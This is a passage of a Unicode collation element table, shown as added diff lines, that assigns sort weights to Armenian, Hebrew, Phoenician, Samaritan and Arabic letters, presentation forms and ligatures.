+0586  ; [.22B5.0020.0002] # ARMENIAN SMALL LETTER FEH
+0556  ; [.22B5.0020.0008] # ARMENIAN CAPITAL LETTER FEH
+0559  ; [.22B6.0020.0002] # ARMENIAN MODIFIER LETTER LEFT HALF RING
+05D0  ; [.22B7.0020.0002] # HEBREW LETTER ALEF
+2135  ; [.22B7.0020.0004] # ALEF SYMBOL
+FB21  ; [.22B7.0020.0005] # HEBREW LETTER WIDE ALEF
+FB2E  ; [.22B7.0020.0002][.0000.0059.0002] # HEBREW LETTER ALEF WITH PATAH
+FB2F  ; [.22B7.0020.0002][.0000.005A.0002] # HEBREW LETTER ALEF WITH QAMATS
+FB30  ; [.22B7.0020.0002][.0000.005F.0002] # HEBREW LETTER ALEF WITH MAPIQ
+FB4F  ; [.22B7.0020.0004][.22C2.0020.0004] # HEBREW LIGATURE ALEF LAMED
+05D1  ; [.22B8.0020.0002] # HEBREW LETTER BET
+2136  ; [.22B8.0020.0004] # BET SYMBOL
+FB31  ; [.22B8.0020.0002][.0000.005F.0002] # HEBREW LETTER BET WITH DAGESH
+FB4C  ; [.22B8.0020.0002][.0000.0060.0002] # HEBREW LETTER BET WITH RAFE
+05D2  ; [.22B9.0020.0002] # HEBREW LETTER GIMEL
+2137  ; [.22B9.0020.0004] # GIMEL SYMBOL
+FB32  ; [.22B9.0020.0002][.0000.005F.0002] # HEBREW LETTER GIMEL WITH DAGESH
+05D3  ; [.22BA.0020.0002] # HEBREW LETTER DALET
+2138  ; [.22BA.0020.0004] # DALET SYMBOL
+FB22  ; [.22BA.0020.0005] # HEBREW LETTER WIDE DALET
+FB33  ; [.22BA.0020.0002][.0000.005F.0002] # HEBREW LETTER DALET WITH DAGESH
+05D4  ; [.22BB.0020.0002] # HEBREW LETTER HE
+FB23  ; [.22BB.0020.0005] # HEBREW LETTER WIDE HE
+FB34  ; [.22BB.0020.0002][.0000.005F.0002] # HEBREW LETTER HE WITH MAPIQ
+05D5  ; [.22BC.0020.0002] # HEBREW LETTER VAV
+FB4B  ; [.22BC.0020.0002][.0000.005B.0002] # HEBREW LETTER VAV WITH HOLAM
+FB35  ; [.22BC.0020.0002][.0000.005F.0002] # HEBREW LETTER VAV WITH DAGESH
+05F0  ; [.22BC.0020.0004][.22BC.0020.0004] # HEBREW LIGATURE YIDDISH DOUBLE VAV
+05F1  ; [.22BC.0020.0004][.22C0.0020.0004] # HEBREW LIGATURE YIDDISH VAV YOD
+05D6  ; [.22BD.0020.0002] # HEBREW LETTER ZAYIN
+FB36  ; [.22BD.0020.0002][.0000.005F.0002] # HEBREW LETTER ZAYIN WITH DAGESH
+05D7  ; [.22BE.0020.0002] # HEBREW LETTER HET
+05D8  ; [.22BF.0020.0002] # HEBREW LETTER TET
+FB38  ; [.22BF.0020.0002][.0000.005F.0002] # HEBREW LETTER TET WITH DAGESH
+05D9  ; [.22C0.0020.0002] # HEBREW LETTER YOD
+FB1D  ; [.22C0.0020.0002][.0000.0056.0002] # HEBREW LETTER YOD WITH HIRIQ
+FB39  ; [.22C0.0020.0002][.0000.005F.0002] # HEBREW LETTER YOD WITH DAGESH
+05F2  ; [.22C0.0020.0004][.22C0.0020.0004] # HEBREW LIGATURE YIDDISH DOUBLE YOD
+FB1F  ; [.22C0.0020.0004][.22C0.0020.0004][.0000.0059.0002] # HEBREW LIGATURE YIDDISH YOD YOD PATAH
+05DB  ; [.22C1.0020.0002] # HEBREW LETTER KAF
+FB24  ; [.22C1.0020.0005] # HEBREW LETTER WIDE KAF
+05DA  ; [.22C1.0020.0019] # HEBREW LETTER FINAL KAF
+FB3B  ; [.22C1.0020.0002][.0000.005F.0002] # HEBREW LETTER KAF WITH DAGESH
+FB3A  ; [.22C1.0020.0019][.0000.005F.0002] # HEBREW LETTER FINAL KAF WITH DAGESH
+FB4D  ; [.22C1.0020.0002][.0000.0060.0002] # HEBREW LETTER KAF WITH RAFE
+05DC  ; [.22C2.0020.0002] # HEBREW LETTER LAMED
+FB25  ; [.22C2.0020.0005] # HEBREW LETTER WIDE LAMED
+FB3C  ; [.22C2.0020.0002][.0000.005F.0002] # HEBREW LETTER LAMED WITH DAGESH
+05DE  ; [.22C3.0020.0002] # HEBREW LETTER MEM
+FB26  ; [.22C3.0020.0005] # HEBREW LETTER WIDE FINAL MEM
+05DD  ; [.22C3.0020.0019] # HEBREW LETTER FINAL MEM
+FB3E  ; [.22C3.0020.0002][.0000.005F.0002] # HEBREW LETTER MEM WITH DAGESH
+05E0  ; [.22C4.0020.0002] # HEBREW LETTER NUN
+05DF  ; [.22C4.0020.0019] # HEBREW LETTER FINAL NUN
+FB40  ; [.22C4.0020.0002][.0000.005F.0002] # HEBREW LETTER NUN WITH DAGESH
+05E1  ; [.22C5.0020.0002] # HEBREW LETTER SAMEKH
+FB41  ; [.22C5.0020.0002][.0000.005F.0002] # HEBREW LETTER SAMEKH WITH DAGESH
+05E2  ; [.22C6.0020.0002] # HEBREW LETTER AYIN
+FB20  ; [.22C6.0020.0005] # HEBREW LETTER ALTERNATIVE AYIN
+05E4  ; [.22C7.0020.0002] # HEBREW LETTER PE
+05E3  ; [.22C7.0020.0019] # HEBREW LETTER FINAL PE
+FB44  ; [.22C7.0020.0002][.0000.005F.0002] # HEBREW LETTER PE WITH DAGESH
+FB43  ; [.22C7.0020.0019][.0000.005F.0002] # HEBREW LETTER FINAL PE WITH DAGESH
+FB4E  ; [.22C7.0020.0002][.0000.0060.0002] # HEBREW LETTER PE WITH RAFE
+05E6  ; [.22C8.0020.0002] # HEBREW LETTER TSADI
+05E5  ; [.22C8.0020.0019] # HEBREW LETTER FINAL TSADI
+FB46  ; [.22C8.0020.0002][.0000.005F.0002] # HEBREW LETTER TSADI WITH DAGESH
+05E7  ; [.22C9.0020.0002] # HEBREW LETTER QOF
+FB47  ; [.22C9.0020.0002][.0000.005F.0002] # HEBREW LETTER QOF WITH DAGESH
+05E8  ; [.22CA.0020.0002] # HEBREW LETTER RESH
+FB27  ; [.22CA.0020.0005] # HEBREW LETTER WIDE RESH
+FB48  ; [.22CA.0020.0002][.0000.005F.0002] # HEBREW LETTER RESH WITH DAGESH
+05E9  ; [.22CB.0020.0002] # HEBREW LETTER SHIN
+FB2B  ; [.22CB.0020.0002][.0000.005D.0002] # HEBREW LETTER SHIN WITH SIN DOT
+FB2A  ; [.22CB.0020.0002][.0000.005E.0002] # HEBREW LETTER SHIN WITH SHIN DOT
+FB49  ; [.22CB.0020.0002][.0000.005F.0002] # HEBREW LETTER SHIN WITH DAGESH
+FB2D  ; [.22CB.0020.0002][.0000.005F.0002][.0000.005D.0002] # HEBREW LETTER SHIN WITH DAGESH AND SIN DOT
+FB2C  ; [.22CB.0020.0002][.0000.005F.0002][.0000.005E.0002] # HEBREW LETTER SHIN WITH DAGESH AND SHIN DOT
+05EA  ; [.22CC.0020.0002] # HEBREW LETTER TAV
+FB28  ; [.22CC.0020.0005] # HEBREW LETTER WIDE TAV
+FB4A  ; [.22CC.0020.0002][.0000.005F.0002] # HEBREW LETTER TAV WITH DAGESH
+10900 ; [.22CD.0020.0002] # PHOENICIAN LETTER ALF
+10901 ; [.22CE.0020.0002] # PHOENICIAN LETTER BET
+10902 ; [.22CF.0020.0002] # PHOENICIAN LETTER GAML
+10903 ; [.22D0.0020.0002] # PHOENICIAN LETTER DELT
+10904 ; [.22D1.0020.0002] # PHOENICIAN LETTER HE
+10905 ; [.22D2.0020.0002] # PHOENICIAN LETTER WAU
+10906 ; [.22D3.0020.0002] # PHOENICIAN LETTER ZAI
+10907 ; [.22D4.0020.0002] # PHOENICIAN LETTER HET
+10908 ; [.22D5.0020.0002] # PHOENICIAN LETTER TET
+10909 ; [.22D6.0020.0002] # PHOENICIAN LETTER YOD
+1090A ; [.22D7.0020.0002] # PHOENICIAN LETTER KAF
+1090B ; [.22D8.0020.0002] # PHOENICIAN LETTER LAMD
+1090C ; [.22D9.0020.0002] # PHOENICIAN LETTER MEM
+1090D ; [.22DA.0020.0002] # PHOENICIAN LETTER NUN
+1090E ; [.22DB.0020.0002] # PHOENICIAN LETTER SEMK
+1090F ; [.22DC.0020.0002] # PHOENICIAN LETTER AIN
+10910 ; [.22DD.0020.0002] # PHOENICIAN LETTER PE
+10911 ; [.22DE.0020.0002] # PHOENICIAN LETTER SADE
+10912 ; [.22DF.0020.0002] # PHOENICIAN LETTER QOF
+10913 ; [.22E0.0020.0002] # PHOENICIAN LETTER ROSH
+10914 ; [.22E1.0020.0002] # PHOENICIAN LETTER SHIN
+10915 ; [.22E2.0020.0002] # PHOENICIAN LETTER TAU
+0800  ; [.22E3.0020.0002] # SAMARITAN LETTER ALAF
+0801  ; [.22E4.0020.0002] # SAMARITAN LETTER BIT
+0802  ; [.22E5.0020.0002] # SAMARITAN LETTER GAMAN
+0803  ; [.22E6.0020.0002] # SAMARITAN LETTER DALAT
+0804  ; [.22E7.0020.0002] # SAMARITAN LETTER IY
+0805  ; [.22E8.0020.0002] # SAMARITAN LETTER BAA
+0806  ; [.22E9.0020.0002] # SAMARITAN LETTER ZEN
+0807  ; [.22EA.0020.0002] # SAMARITAN LETTER IT
+0808  ; [.22EB.0020.0002] # SAMARITAN LETTER TIT
+0809  ; [.22EC.0020.0002] # SAMARITAN LETTER YUT
+080A  ; [.22ED.0020.0002] # SAMARITAN LETTER KAAF
+080B  ; [.22EE.0020.0002] # SAMARITAN LETTER LABAT
+080C  ; [.22EF.0020.0002] # SAMARITAN LETTER MIM
+080D  ; [.22F0.0020.0002] # SAMARITAN LETTER NUN
+080E  ; [.22F1.0020.0002] # SAMARITAN LETTER SINGAAT
+080F  ; [.22F2.0020.0002] # SAMARITAN LETTER IN
+0810  ; [.22F3.0020.0002] # SAMARITAN LETTER FI
+0811  ; [.22F4.0020.0002] # SAMARITAN LETTER TSAADIY
+0812  ; [.22F5.0020.0002] # SAMARITAN LETTER QUF
+0813  ; [.22F6.0020.0002] # SAMARITAN LETTER RISH
+0814  ; [.22F7.0020.0002] # SAMARITAN LETTER SHAN
+0815  ; [.22F8.0020.0002] # SAMARITAN LETTER TAAF
+0816  ; [.22F9.0020.0002] # SAMARITAN MARK IN
+0817  ; [.22FA.0020.0002] # SAMARITAN MARK IN-ALAF
+081A  ; [.22FB.0020.0002] # SAMARITAN MODIFIER LETTER EPENTHETIC YUT
+081B  ; [.22FC.0020.0002] # SAMARITAN MARK EPENTHETIC YUT
+0621  ; [.22FD.0020.0002] # ARABIC LETTER HAMZA
+0674  ; [.22FD.0020.0004] # ARABIC LETTER HIGH HAMZA
+FE80  ; [.22FD.0020.001A] # ARABIC LETTER HAMZA ISOLATED FORM
+06FD  ; [.22FD.0020.0004][.0000.0111.0004] # ARABIC SIGN SINDHI AMPERSAND
+0622  ; [.22FE.0020.0002] # ARABIC LETTER ALEF WITH MADDA ABOVE
+0627 0653 ; [.22FE.0020.0002] # ARABIC LETTER ALEF WITH MADDA ABOVE
+FE82  ; [.22FE.0020.0019] # ARABIC LETTER ALEF WITH MADDA ABOVE FINAL FORM
+FE81  ; [.22FE.0020.001A] # ARABIC LETTER ALEF WITH MADDA ABOVE ISOLATED FORM
+0623  ; [.22FF.0020.0002] # ARABIC LETTER ALEF WITH HAMZA ABOVE
+0627 0654 ; [.22FF.0020.0002] # ARABIC LETTER ALEF WITH HAMZA ABOVE
+FE84  ; [.22FF.0020.0019] # ARABIC LETTER ALEF WITH HAMZA ABOVE FINAL FORM
+FE83  ; [.22FF.0020.001A] # ARABIC LETTER ALEF WITH HAMZA ABOVE ISOLATED FORM
+0672  ; [.2300.0020.0002] # ARABIC LETTER ALEF WITH WAVY HAMZA ABOVE
+0671  ; [.2301.0020.0002] # ARABIC LETTER ALEF WASLA
+FB51  ; [.2301.0020.0019] # ARABIC LETTER ALEF WASLA FINAL FORM
+FB50  ; [.2301.0020.001A] # ARABIC LETTER ALEF WASLA ISOLATED FORM
+0624  ; [.2302.0020.0002] # ARABIC LETTER WAW WITH HAMZA ABOVE
+0648 0654 ; [.2302.0020.0002] # ARABIC LETTER WAW WITH HAMZA ABOVE
+FE86  ; [.2302.0020.0019] # ARABIC LETTER WAW WITH HAMZA ABOVE FINAL FORM
+FE85  ; [.2302.0020.001A] # ARABIC LETTER WAW WITH HAMZA ABOVE ISOLATED FORM
+0625  ; [.2303.0020.0002] # ARABIC LETTER ALEF WITH HAMZA BELOW
+0627 0655 ; [.2303.0020.0002] # ARABIC LETTER ALEF WITH HAMZA BELOW
+FE88  ; [.2303.0020.0019] # ARABIC LETTER ALEF WITH HAMZA BELOW FINAL FORM
+FE87  ; [.2303.0020.001A] # ARABIC LETTER ALEF WITH HAMZA BELOW ISOLATED FORM
+0673  ; [.2304.0020.0002] # ARABIC LETTER ALEF WITH WAVY HAMZA BELOW
+0773  ; [.2305.0020.0002] # ARABIC LETTER ALEF WITH EXTENDED ARABIC-INDIC DIGIT TWO ABOVE
+0774  ; [.2306.0020.0002] # ARABIC LETTER ALEF WITH EXTENDED ARABIC-INDIC DIGIT THREE ABOVE
+0626  ; [.2307.0020.0002] # ARABIC LETTER YEH WITH HAMZA ABOVE
+064A 0654 ; [.2307.0020.0002] # ARABIC LETTER YEH WITH HAMZA ABOVE
+FE8B  ; [.2307.0020.0017] # ARABIC LETTER YEH WITH HAMZA ABOVE INITIAL FORM
+FE8C  ; [.2307.0020.0018] # ARABIC LETTER YEH WITH HAMZA ABOVE MEDIAL FORM
+FE8A  ; [.2307.0020.0019] # ARABIC LETTER YEH WITH HAMZA ABOVE FINAL FORM
+FE89  ; [.2307.0020.001A] # ARABIC LETTER YEH WITH HAMZA ABOVE ISOLATED FORM
+FBEB  ; [.2307.0020.0019][.230B.0020.0019] # ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH ALEF FINAL FORM
+FBEA  ; [.2307.0020.001A][.230B.0020.001A] # ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH ALEF ISOLATED FORM
+FC97  ; [.2307.0020.0017][.2325.0020.0017] # ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH JEEM INITIAL FORM
+FC00  ; [.2307.0020.001A][.2325.0020.001A] # ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH JEEM ISOLATED FORM
+FC98  ; [.2307.0020.0017][.232C.0020.0017] # ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH HAH INITIAL FORM
+FC01  ; [.2307.0020.001A][.232C.0020.001A] # ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH HAH ISOLATED FORM
+FC99  ; [.2307.0020.0017][.232D.0020.0017] # ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH KHAH INITIAL FORM
+FC64  ; [.2307.0020.0019][.2346.0020.0019] # ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH REH FINAL FORM
+FC65  ; [.2307.0020.0019][.2347.0020.0019] # ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH ZAIN FINAL FORM
+FC9A  ; [.2307.0020.0017][.23A3.0020.0017] # ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH MEEM INITIAL FORM
+FCDF  ; [.2307.0020.0018][.23A3.0020.0018] # ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH MEEM MEDIAL FORM
+FC66  ; [.2307.0020.0019][.23A3.0020.0019] # ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH MEEM FINAL FORM
+FC02  ; [.2307.0020.001A][.23A3.0020.001A] # ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH MEEM ISOLATED FORM
+FC67  ; [.2307.0020.0019][.23A7.0020.0019] # ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH NOON FINAL FORM
+FC9B  ; [.2307.0020.0017][.23B1.0020.0017] # ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH HEH INITIAL FORM
+FCE0  ; [.2307.0020.0018][.23B1.0020.0018] # ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH HEH MEDIAL FORM
+FBED  ; [.2307.0020.0019][.23B6.0020.0019] # ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH AE FINAL FORM
+FBEC  ; [.2307.0020.001A][.23B6.0020.001A] # ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH AE ISOLATED FORM
+FBEF  ; [.2307.0020.0019][.23B7.0020.0019] # ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH WAW FINAL FORM
+FBEE  ; [.2307.0020.001A][.23B7.0020.001A] # ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH WAW ISOLATED FORM
+FBF3  ; [.2307.0020.0019][.23BA.0020.0019] # ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH OE FINAL FORM
+FBF2  ; [.2307.0020.001A][.23BA.0020.001A] # ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH OE ISOLATED FORM
+FBF1  ; [.2307.0020.0019][.23BB.0020.0019] # ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH U FINAL FORM
+FBF0  ; [.2307.0020.001A][.23BB.0020.001A] # ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH U ISOLATED FORM
+FBF5  ; [.2307.0020.0019][.23BC.0020.0019] # ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH YU FINAL FORM
+FBF4  ; [.2307.0020.001A][.23BC.0020.001A] # ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH YU ISOLATED FORM
+FBFB  ; [.2307.0020.0017][.23C5.0020.0017] # ARABIC LIGATURE UIGHUR KIRGHIZ YEH WITH HAMZA ABOVE WITH ALEF MAKSURA INITIAL FORM
+FBFA  ; [.2307.0020.0019][.23C5.0020.0019] # ARABIC LIGATURE UIGHUR KIRGHIZ YEH WITH HAMZA ABOVE WITH ALEF MAKSURA FINAL FORM
+FC68  ; [.2307.0020.0019][.23C5.0020.0019] # ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH ALEF MAKSURA FINAL FORM
+FBF9  ; [.2307.0020.001A][.23C5.0020.001A] # ARABIC LIGATURE UIGHUR KIRGHIZ YEH WITH HAMZA ABOVE WITH ALEF MAKSURA ISOLATED FORM
+FC03  ; [.2307.0020.001A][.23C5.0020.001A] # ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH ALEF MAKSURA ISOLATED FORM
+FC69  ; [.2307.0020.0019][.23C6.0020.0019] # ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH YEH FINAL FORM
+FC04  ; [.2307.0020.001A][.23C6.0020.001A] # ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH YEH ISOLATED FORM
+FBF8  ; [.2307.0020.0017][.23CA.0020.0017] # ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH E INITIAL FORM
+FBF7  ; [.2307.0020.0019][.23CA.0020.0019] # ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH E FINAL FORM
+FBF6  ; [.2307.0020.001A][.23CA.0020.001A] # ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH E ISOLATED FORM
+08A8  ; [.2308.0020.0002] # ARABIC LETTER YEH WITH TWO DOTS BELOW AND HAMZA ABOVE
+08A9  ; [.2309.0020.0002] # ARABIC LETTER YEH WITH TWO DOTS BELOW AND DOT ABOVE
+08AC  ; [.230A.0020.0002] # ARABIC LETTER ROHINGYA YEH
+0627  ; [.230B.0020.0002] # ARABIC LETTER ALEF
+08AD  ; [.230B.0020.0004] # ARABIC LETTER LOW ALEF
+1EE00 ; [.230B.0020.0005] # ARABIC MATHEMATICAL ALEF
+1EE80 ; [.230B.0020.0005] # ARABIC MATHEMATICAL LOOPED ALEF
+FE8E  ; [.230B.0020.0019] # ARABIC LETTER ALEF FINAL FORM
+FE8D  ; [.230B.0020.001A] # ARABIC LETTER ALEF ISOLATED FORM
+FD3C  ; [.230B.0020.0019][.0000.006D.0019] # ARABIC LIGATURE ALEF WITH FATHATAN FINAL FORM
+FD3D  ; [.230B.0020.001A][.0000.006D.001A] # ARABIC LIGATURE ALEF WITH FATHATAN ISOLATED FORM
+0675  ; [.230B.0020.0004][.22FD.0020.0004] # ARABIC LETTER HIGH HAMZA ALEF
+FDF3  ; [.230B.0020.001A][.2387.0020.001A][.230D.0020.001A][.2346.0020.001A] # ARABIC LIGATURE AKBAR ISOLATED FORM
+FDF2  ; [.230B.0020.001A][.239C.0020.001A][.239C.0020.001A][.23B1.0020.001A] # ARABIC LIGATURE ALLAH ISOLATED FORM
+066E  ; [.230C.0020.0002] # ARABIC LETTER DOTLESS BEH
+1EE1C ; [.230C.0020.0005] # ARABIC MATHEMATICAL DOTLESS BEH
+1EE7C ; [.230C.0020.0005] # ARABIC MATHEMATICAL STRETCHED DOTLESS BEH
+0628  ; [.230D.0020.0002] # ARABIC LETTER BEH
+1EE01 ; [.230D.0020.0005] # ARABIC MATHEMATICAL BEH
+1EE21 ; [.230D.0020.0005] # ARABIC MATHEMATICAL INITIAL BEH
+1EE61 ; [.230D.0020.0005] # ARABIC MATHEMATICAL STRETCHED BEH
+1EE81 ; [.230D.0020.0005] # ARABIC MATHEMATICAL LOOPED BEH
+1EEA1 ; [.230D.0020.0005] # ARABIC MATHEMATICAL DOUBLE-STRUCK BEH
+FE91  ; [.230D.0020.0017] # ARABIC LETTER BEH INITIAL FORM
+FE92  ; [.230D.0020.0018] # ARABIC LETTER BEH MEDIAL FORM
+FE90  ; [.230D.0020.0019] # ARABIC LETTER BEH FINAL FORM
+FE8F  ; [.230D.0020.001A] # ARABIC LETTER BEH ISOLATED FORM
+FC9C  ; [.230D.0020.0017][.2325.0020.0017] # ARABIC LIGATURE BEH WITH JEEM INITIAL FORM
+FC05  ; [.230D.0020.001A][.2325.0020.001A] # ARABIC LIGATURE BEH WITH JEEM ISOLATED FORM
+FC9D  ; [.230D.0020.0017][.232C.0020.0017] # ARABIC LIGATURE BEH WITH HAH INITIAL FORM
+FC06  ; [.230D.0020.001A][.232C.0020.001A] # ARABIC LIGATURE BEH WITH HAH ISOLATED FORM
+FDC2  ; [.230D.0020.0019][.232C.0020.0019][.23C6.0020.0019] # ARABIC LIGATURE BEH WITH HAH WITH YEH FINAL FORM
+FC9E  ; [.230D.0020.0017][.232D.0020.0017] # ARABIC LIGATURE BEH WITH KHAH INITIAL FORM
+FC07  ; [.230D.0020.001A][.232D.0020.001A] # ARABIC LIGATURE BEH WITH KHAH ISOLATED FORM
+FD9E  ; [.230D.0020.0019][.232D.0020.0019][.23C6.0020.0019] # ARABIC LIGATURE BEH WITH KHAH WITH YEH FINAL FORM
+FC6A  ; [.230D.0020.0019][.2346.0020.0019] # ARABIC LIGATURE BEH WITH REH FINAL FORM
+FC6B  ; [.230D.0020.0019][.2347.0020.0019] # ARABIC LIGATURE BEH WITH ZAIN FINAL FORM
+FC9F  ; [.230D.0020.0017][.23A3.0020.0017] # ARABIC LIGATURE BEH WITH MEEM INITIAL FORM
+FCE1  ; [.230D.0020.0018][.23A3.0020.0018] # ARABIC LIGATURE BEH WITH MEEM MEDIAL FORM
+FC6C  ; [.230D.0020.0019][.23A3.0020.0019] # ARABIC LIGATURE BEH WITH MEEM FINAL FORM
+FC08  ; [.230D.0020.001A][.23A3.0020.001A] # ARABIC LIGATURE BEH WITH MEEM ISOLATED FORM
+FC6D  ; [.230D.0020.0019][.23A7.0020.0019] # ARABIC LIGATURE BEH WITH NOON FINAL FORM
+FCA0  ; [.230D.0020.0017][.23B1.0020.0017] # ARABIC LIGATURE BEH WITH HEH INITIAL FORM
+FCE2  ; [.230D.0020.0018][.23B1.0020.0018] # ARABIC LIGATURE BEH WITH HEH MEDIAL FORM
+FC6E  ; [.230D.0020.0019][.23C5.0020.0019] # ARABIC LIGATURE BEH WITH ALEF MAKSURA FINAL FORM
+FC09  ; [.230D.0020.001A][.23C5.0020.001A] # ARABIC LIGATURE BEH WITH ALEF MAKSURA ISOLATED FORM
+FC6F  ; [.230D.0020.0019][.23C6.0020.0019] # ARABIC LIGATURE BEH WITH YEH FINAL FORM
+FC0A  ; [.230D.0020.001A][.23C6.0020.001A] # ARABIC LIGATURE BEH WITH YEH ISOLATED FORM
+067B  ; [.230E.0020.0002] # ARABIC LETTER BEEH
+FB54  ; [.230E.0020.0017] # ARABIC LETTER BEEH INITIAL FORM
+FB55  ; [.230E.0020.0018] # ARABIC LETTER BEEH MEDIAL FORM
+FB53  ; [.230E.0020.0019] # ARABIC LETTER BEEH FINAL FORM
+FB52  ; [.230E.0020.001A] # ARABIC LETTER BEEH ISOLATED FORM
+067E  ; [.230F.0020.0002] # ARABIC LETTER PEH
+FB58  ; [.230F.0020.0017] # ARABIC LETTER PEH INITIAL FORM
+FB59  ; [.230F.0020.0018] # ARABIC LETTER PEH MEDIAL FORM
+FB57  ; [.230F.0020.0019] # ARABIC LETTER PEH FINAL FORM
+FB56  ; [.230F.0020.001A] # ARABIC LETTER PEH ISOLATED FORM
+0680  ; [.2310.0020.0002] # ARABIC LETTER BEHEH
+FB5C  ; [.2310.0020.0017] # ARABIC LETTER BEHEH INITIAL FORM
+FB5D  ; [.2310.0020.0018] # ARABIC LETTER BEHEH MEDIAL FORM
+FB5B  ; [.2310.0020.0019] # ARABIC LETTER BEHEH FINAL FORM
+FB5A  ; [.2310.0020.001A] # ARABIC LETTER BEHEH ISOLATED FORM
+0750  ; [.2311.0020.0002] # ARABIC LETTER BEH WITH THREE DOTS HORIZONTALLY BELOW
+0751  ; [.2312.0020.0002] # ARABIC LETTER BEH WITH DOT BELOW AND THREE DOTS ABOVE
+0752  ; [.2313.0020.0002] # ARABIC LETTER BEH WITH THREE DOTS POINTING UPWARDS BELOW
+0753  ; [.2314.0020.0002] # ARABIC LETTER BEH WITH THREE DOTS POINTING UPWARDS BELOW AND TWO DOTS ABOVE
+0754  ; [.2315.0020.0002] # ARABIC LETTER BEH WITH TWO DOTS BELOW AND DOT ABOVE
+0755  ; [.2316.0020.0002] # ARABIC LETTER BEH WITH INVERTED SMALL V BELOW
+08A0  ; [.2317.0020.0002] # ARABIC LETTER BEH WITH SMALL V BELOW
+0756  ; [.2318.0020.0002] # ARABIC LETTER BEH WITH SMALL V
+08A1  ; [.2319.0020.0002] # ARABIC LETTER BEH WITH HAMZA ABOVE
+08B6  ; [.231A.0020.0002] # ARABIC LETTER BEH WITH SMALL MEEM ABOVE
+08B7  ; [.231B.0020.0002] # ARABIC LETTER PEH WITH SMALL MEEM ABOVE
+0629  ; [.231C.0020.0002] # ARABIC LETTER TEH MARBUTA
+FE94  ; [.231C.0020.0019] # ARABIC LETTER TEH MARBUTA FINAL FORM
+FE93  ; [.231C.0020.001A] # ARABIC LETTER TEH MARBUTA ISOLATED FORM
+062A  ; [.231D.0020.0002] # ARABIC LETTER TEH
+1EE15 ; [.231D.0020.0005] # ARABIC MATHEMATICAL TEH
+1EE35 ; [.231D.0020.0005] # ARABIC MATHEMATICAL INITIAL TEH
+1EE75 ; [.231D.0020.0005] # ARABIC MATHEMATICAL STRETCHED TEH
+1EE95 ; [.231D.0020.0005] # ARABIC MATHEMATICAL LOOPED TEH
+1EEB5 ; [.231D.0020.0005] # ARABIC MATHEMATICAL DOUBLE-STRUCK TEH
+FE97  ; [.231D.0020.0017] # ARABIC LETTER TEH INITIAL FORM
+FE98  ; [.231D.0020.0018] # ARABIC LETTER TEH MEDIAL FORM
+FE96  ; [.231D.0020.0019] # ARABIC LETTER TEH FINAL FORM
+FE95  ; [.231D.0020.001A] # ARABIC LETTER TEH ISOLATED FORM
+FCA1  ; [.231D.0020.0017][.2325.0020.0017] # ARABIC LIGATURE TEH WITH JEEM INITIAL FORM
+FC0B  ; [.231D.0020.001A][.2325.0020.001A] # ARABIC LIGATURE TEH WITH JEEM ISOLATED FORM
+FD50  ; [.231D.0020.0017][.2325.0020.0017][.23A3.0020.0017] # ARABIC LIGATURE TEH WITH JEEM WITH MEEM INITIAL FORM
+FDA0  ; [.231D.0020.0019][.2325.0020.0019][.23C5.0020.0019] # ARABIC LIGATURE TEH WITH JEEM WITH ALEF MAKSURA FINAL FORM
+FD9F  ; [.231D.0020.0019][.2325.0020.0019][.23C6.0020.0019] # ARABIC LIGATURE TEH WITH JEEM WITH YEH FINAL FORM
+FCA2  ; [.231D.0020.0017][.232C.0020.0017] # ARABIC LIGATURE TEH WITH HAH INITIAL FORM
+FC0C  ; [.231D.0020.001A][.232C.0020.001A] # ARABIC LIGATURE TEH WITH HAH ISOLATED FORM
+FD52  ; [.231D.0020.0017][.232C.0020.0017][.2325.0020.0017] # ARABIC LIGATURE TEH WITH HAH WITH JEEM INITIAL FORM
+FD51  ; [.231D.0020.0019][.232C.0020.0019][.2325.0020.0019] # ARABIC LIGATURE TEH WITH HAH WITH JEEM FINAL FORM
+FD53  ; [.231D.0020.0017][.232C.0020.0017][.23A3.0020.0017] # ARABIC LIGATURE TEH WITH HAH WITH MEEM INITIAL FORM
+FCA3  ; [.231D.0020.0017][.232D.0020.0017] # ARABIC LIGATURE TEH WITH KHAH INITIAL FORM
+FC0D  ; [.231D.0020.001A][.232D.0020.001A] # ARABIC LIGATURE TEH WITH KHAH ISOLATED FORM
+FD54  ; [.231D.0020.0017][.232D.0020.0017][.23A3.0020.0017] # ARABIC LIGATURE TEH WITH KHAH WITH MEEM INITIAL FORM
+FDA2  ; [.231D.0020.0019][.232D.0020.0019][.23C5.0020.0019] # ARABIC LIGATURE TEH WITH KHAH WITH ALEF MAKSURA FINAL FORM
+FDA1  ; [.231D.0020.0019][.232D.0020.0019][.23C6.0020.0019] # ARABIC LIGATURE TEH WITH KHAH WITH YEH FINAL FORM
+FC70  ; [.231D.0020.0019][.2346.0020.0019] # ARABIC LIGATURE TEH WITH REH FINAL FORM
+FC71  ; [.231D.0020.0019][.2347.0020.0019] # ARABIC LIGATURE TEH WITH ZAIN FINAL FORM
